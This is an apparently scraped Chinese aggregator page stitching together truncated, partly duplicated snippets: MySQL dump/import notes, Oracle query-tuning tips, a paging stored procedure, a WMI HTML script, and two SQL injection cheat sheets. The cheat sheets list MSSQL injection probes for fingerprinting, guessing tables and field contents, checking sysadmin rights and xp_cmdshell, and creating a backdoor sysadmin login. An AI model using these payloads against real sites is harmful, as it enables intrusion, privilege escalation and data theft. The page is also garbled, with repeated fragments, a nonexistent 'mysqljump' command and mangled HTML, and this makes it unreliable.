mysql导出sql脚本 收藏
注意事项:
*必须在D:\LTSOFT\MYSQL4\bin> mysqldump -u root -p test > c:\a.sql
先得进入mysql安装目录的bin下(可以看到里面有mysqldump.exe),通常mysql默认安装在C:\Program Files\MySQL\MySQL Server 5.0
* 不能进入mysql 命令里.
MySQL导出和导入SQL脚本
1、导出sql脚本
mysqldump -u 用户名 -p 数据库名 > 存放位置
mysqldump -u root -p test > c:\a.sql
(导出sql脚本的以上方法已经经过亲自测试,成功!)
2、导入sql脚本
mysql -u 用户名 -p 数据库名 < 存放位置
mysqljump -u root -p test < c:\a.sql
注意,test数据库必须已经存在
(导入sql脚本的以上方法,测试尚未成功,首先并无mysqljump命令,在bin中也找不到相应的mysqljump.exe
换成了mysqldump来执行,也并未得到预期的结果(预期结果:数据库根据脚本新增了表及数据))
由sql脚本导入数据库选用下面用例的第4种方法。
MySQL导出导入命令的用例
1.导出整个数据库
my ......
mysql导出sql脚本 收藏
注意事项:
*必须在D:\LTSOFT\MYSQL4\bin> mysqldump -u root -p test > c:\a.sql
先得进入mysql安装目录的bin下(可以看到里面有mysqldump.exe),通常mysql默认安装在C:\Program Files\MySQL\MySQL Server 5.0
* 不能进入mysql 命令里.
MySQL导出和导入SQL脚本
1、导出sql脚本
mysqldump -u 用户名 -p 数据库名 > 存放位置
mysqldump -u root -p test > c:\a.sql
(导出sql脚本的以上方法已经经过亲自测试,成功!)
2、导入sql脚本
mysql -u 用户名 -p 数据库名 < 存放位置
mysqljump -u root -p test < c:\a.sql
注意,test数据库必须已经存在
(导入sql脚本的以上方法,测试尚未成功,首先并无mysqljump命令,在bin中也找不到相应的mysqljump.exe
换成了mysqldump来执行,也并未得到预期的结果(预期结果:数据库根据脚本新增了表及数据))
由sql脚本导入数据库选用下面用例的第4种方法。
MySQL导出导入命令的用例
1.导出整个数据库
my ......
尽量不要在where中包含子查询;
关于时间的查询,尽量不要写成:where to_char(dif_date,'yyyy-mm-dd')=to_char('2007-07-01','yyyy-mm-dd');
在过滤条件中,可以过滤掉最大数量记录的条件必须放在where子句的末尾;
from子句中写在最后的表(基础表,driving table)将被最先处理,在from子句中包含多个表的情况下,你必须选择记录条数最少的表作为基础表。如果有三个以上的连接查询,那就需要选择交叉表(intersection table)作为基础表,交叉表是指那个被其他表所引用的表;
采用绑定变量
在WHERE中尽量不要使用OR
用EXISTS替代IN、用NOT EXISTS替代NOT IN;
避免在索引列上使用计算:WHERE SAL*12>25000;
用IN来替代OR: WHERE LOC_ID=10 OR LOC_ID=15 OR LOC_ID=20
避免在索引列上使用IS NULL和IS NOT NULL;
总是使用索引的第一个列;
用UNION-ALL替代UNION;
避免改变索引列的类型:SELECT...from EMP WHERE EMPNO='123',由于隐式数据类型转换,to_char(EMPNO)='123',因此,将不采用索引,一般在采用字符串拼凑动态SQL语句出现;
'!=' 将不使用索引;
优化GROUP BY;
避免带有LIKE参数的通配符,LIKE '4YE%'使用索引,但LIKE '% ......
and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3....
;declare @d int //是否支持多行
and 1=(Select count(*) from master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判断XP_CMDSHELL是否存在
and 1=(select count(*) from master.dbo.sysobjects where name= 'xp_regread') //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要SA权限)
exec master..xp_ ......
SQL手工注入大全
2006年08月11日 星期五 21:00
比方说在查询id是50的数据时,如果用户传近来的参数是50 and 1=1,如果没有设置过滤的话,可以直接查出来,SQL 注入一般在ASP程序中遇到最多,
看看下面的
1.判断是否有注入
;and 1=1
;and 1=2
2.初步判断是否是mssql
;and user>0
3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.注入参数是字符
'and [查询条件] and ''='
5.搜索时没过滤参数的
'and [查询条件] and '%25'='
6.猜数据库
;and (select Count(*) from [数据库名])>0
7.猜字段
;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER( ......
create PROCEDURE [dbo].[P_PageTest]
@SQL Nvarchar(max), --SQL语句不包括排序
@CurPage int, --当前页
@PageRows int, --页面尺寸
@Order Nvarchar(20), --排序字段
@OrderType Nvarchar(10), --排序类型倒序desc或正序asc
@TotalRecorder int output
AS
BEGIN
SET NOCOUNT ON;
declare @ExceSQL nvarchar(4000)
--设置开始行号
declare @start_row_num AS int
declare @end_row_num AS int
if(@CurPage=1)
begin
SET @start_row_num = (@CurPage - 1) * @PageRows
SET @end_row_num = @start_row_num+@PageRows
end
else
begin
SET @start_row_num = ((@CurPage - 1) * @PageRows)+1
SET @end_row_num = (@start_row_num+@PageRows)-1
end
--设置表示
declare @RowNumber nvarchar( ......
<!DOCTYPE HTML PUBLIC "-//W3C//DTDHTML4.0Transitional//EN">
<html>
<head>
<title></title>
<metaname="GENERATOR"content="MicrosoftVisualStudio.NET7.1">
<metaname="vs_targetSchema"content="http://schemas.microsoft.com/
intellisense/ie5">
<scriptid="clientEventHandlersJS"language="javascript">
<!--
functionButton1_onclick(){
varlocator=newActiveXObject("WbemScripting.SWbemLocator");
varservice=locator.ConnectServer(".","rootMicrosoftSQLServer");
varproperties=service.ExecQuery("SELECTNamefromMSSQL_Database");
vare=newEnumerator(properties);
document.write("<tableborder=1>");
dispHeading();
for(;!e.atEnd();e.moveNext())
{
varp=e.item();
document.write("<tr>");
document.write("<td>"+p.Name+"</td>");
document.wr ......
<!DOCTYPE HTML PUBLIC "-//W3C//DTDHTML4.0Transitional//EN">
<html>
<head>
<title></title>
<metaname="GENERATOR"content="MicrosoftVisualStudio.NET7.1">
<metaname="vs_targetSchema"content="http://schemas.microsoft.com/
intellisense/ie5">
<scriptid="clientEventHandlersJS"language="javascript">
<!--
functionButton1_onclick(){
varlocator=newActiveXObject("WbemScripting.SWbemLocator");
varservice=locator.ConnectServer(".","rootMicrosoftSQLServer");
varproperties=service.ExecQuery("SELECTNamefromMSSQL_Database");
vare=newEnumerator(properties);
document.write("<tableborder=1>");
dispHeading();
for(;!e.atEnd();e.moveNext())
{
varp=e.item();
document.write("<tr>");
document.write("<td>"+p.Name+"</td>");
document.wr ......